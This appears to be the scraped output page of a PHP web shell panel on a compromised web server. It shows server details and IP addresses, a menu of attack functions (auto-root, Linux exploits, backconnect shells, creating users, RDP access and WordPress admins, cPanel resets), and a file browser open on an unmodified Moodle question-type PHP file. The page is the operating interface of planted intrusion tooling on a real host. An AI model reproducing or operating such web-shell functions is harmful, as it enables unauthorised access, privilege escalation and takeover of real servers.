Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.177
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
type /
truefalse /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
edit_truefalse_form.php
4.56
KB
-rw-r--r--
lib.php
1.65
KB
-rw-r--r--
question.php
5.1
KB
-rw-r--r--
questiontype.php
7.52
KB
-rw-r--r--
renderer.php
5.48
KB
-rw-r--r--
styles.css
85
B
-rw-r--r--
version.php
1.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : questiontype.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Question type class for the true-false question type. * * @package qtype * @subpackage truefalse * @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir . '/questionlib.php'); /** * The true-false question type class. * * @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_truefalse extends question_type { public function save_question_options($question) { global $DB; $result = new stdClass(); $context = $question->context; // Fetch old answer ids so that we can reuse them. $oldanswers = $DB->get_records('question_answers', array('question' => $question->id), 'id ASC'); // Save the true answer - update an existing answer if possible. $answer = array_shift($oldanswers); if (!$answer) { $answer = new stdClass(); $answer->question = $question->id; $answer->answer = ''; $answer->feedback = ''; $answer->id = $DB->insert_record('question_answers', $answer); } $answer->answer = get_string('true', 'qtype_truefalse'); $answer->fraction = $question->correctanswer; $answer->feedback = $this->import_or_save_files($question->feedbacktrue, $context, 'question', 'answerfeedback', $answer->id); $answer->feedbackformat = $question->feedbacktrue['format']; $DB->update_record('question_answers', $answer); $trueid = $answer->id; // Save the false answer - update an existing answer if possible. $answer = array_shift($oldanswers); if (!$answer) { $answer = new stdClass(); $answer->question = $question->id; $answer->answer = ''; $answer->feedback = ''; $answer->id = $DB->insert_record('question_answers', $answer); } $answer->answer = get_string('false', 'qtype_truefalse'); $answer->fraction = 1 - (int)$question->correctanswer; $answer->feedback = $this->import_or_save_files($question->feedbackfalse, $context, 'question', 'answerfeedback', $answer->id); $answer->feedbackformat = $question->feedbackfalse['format']; $DB->update_record('question_answers', $answer); $falseid = $answer->id; // Delete any left over old answer records. $fs = get_file_storage(); foreach ($oldanswers as $oldanswer) { $fs->delete_area_files($context->id, 'question', 'answerfeedback', $oldanswer->id); $DB->delete_records('question_answers', array('id' => $oldanswer->id)); } // Save question options in question_truefalse table. if ($options = $DB->get_record('question_truefalse', array('question' => $question->id))) { // No need to do anything, since the answer IDs won't have changed // But we'll do it anyway, just for robustness. $options->trueanswer = $trueid; $options->falseanswer = $falseid; $DB->update_record('question_truefalse', $options); } else { $options = new stdClass(); $options->question = $question->id; $options->trueanswer = $trueid; $options->falseanswer = $falseid; $DB->insert_record('question_truefalse', $options); } $this->save_hints($question); return true; } /** * Loads the question type specific options for the question. */ public function get_question_options($question) { global $DB, $OUTPUT; parent::get_question_options($question); // Get additional information from database // and attach it to the question object. if (!$question->options = $DB->get_record('question_truefalse', array('question' => $question->id))) { echo $OUTPUT->notification('Error: Missing question options!'); return false; } // Load the answers. if (!$question->options->answers = $DB->get_records('question_answers', array('question' => $question->id), 'id ASC')) { echo $OUTPUT->notification('Error: Missing question answers for truefalse question ' . $question->id . '!'); return false; } return true; } protected function initialise_question_instance(question_definition $question, $questiondata) { parent::initialise_question_instance($question, $questiondata); $answers = $questiondata->options->answers; if ($answers[$questiondata->options->trueanswer]->fraction > 0.99) { $question->rightanswer = true; } else { $question->rightanswer = false; } $question->truefeedback = $answers[$questiondata->options->trueanswer]->feedback; $question->falsefeedback = $answers[$questiondata->options->falseanswer]->feedback; $question->truefeedbackformat = $answers[$questiondata->options->trueanswer]->feedbackformat; $question->falsefeedbackformat = $answers[$questiondata->options->falseanswer]->feedbackformat; $question->trueanswerid = $questiondata->options->trueanswer; $question->falseanswerid = $questiondata->options->falseanswer; } public function delete_question($questionid, $contextid) { global $DB; $DB->delete_records('question_truefalse', array('question' => $questionid)); parent::delete_question($questionid, $contextid); } public function move_files($questionid, $oldcontextid, $newcontextid) { parent::move_files($questionid, $oldcontextid, $newcontextid); $this->move_files_in_answers($questionid, $oldcontextid, $newcontextid); } protected function delete_files($questionid, $contextid) { parent::delete_files($questionid, $contextid); $this->delete_files_in_answers($questionid, $contextid); } public function get_random_guess_score($questiondata) { return 0.5; } public function get_possible_responses($questiondata) { return array( $questiondata->id => array( 0 => new question_possible_response(get_string('false', 'qtype_truefalse'), $questiondata->options->answers[ $questiondata->options->falseanswer]->fraction), 1 => new question_possible_response(get_string('true', 'qtype_truefalse'), $questiondata->options->answers[ $questiondata->options->trueanswer]->fraction), null => question_possible_response::no_response() ) ); } }
Close